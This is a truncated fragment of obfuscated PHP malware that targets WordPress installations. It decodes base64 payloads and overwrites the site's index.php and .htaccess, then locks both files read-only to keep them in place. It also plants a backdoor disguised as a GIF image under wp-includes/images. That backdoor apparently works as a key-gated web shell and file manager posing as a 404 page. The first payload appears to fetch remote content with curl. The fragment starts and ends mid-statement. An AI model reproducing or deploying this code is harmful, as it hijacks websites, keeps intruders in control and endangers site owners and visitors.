base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1Ue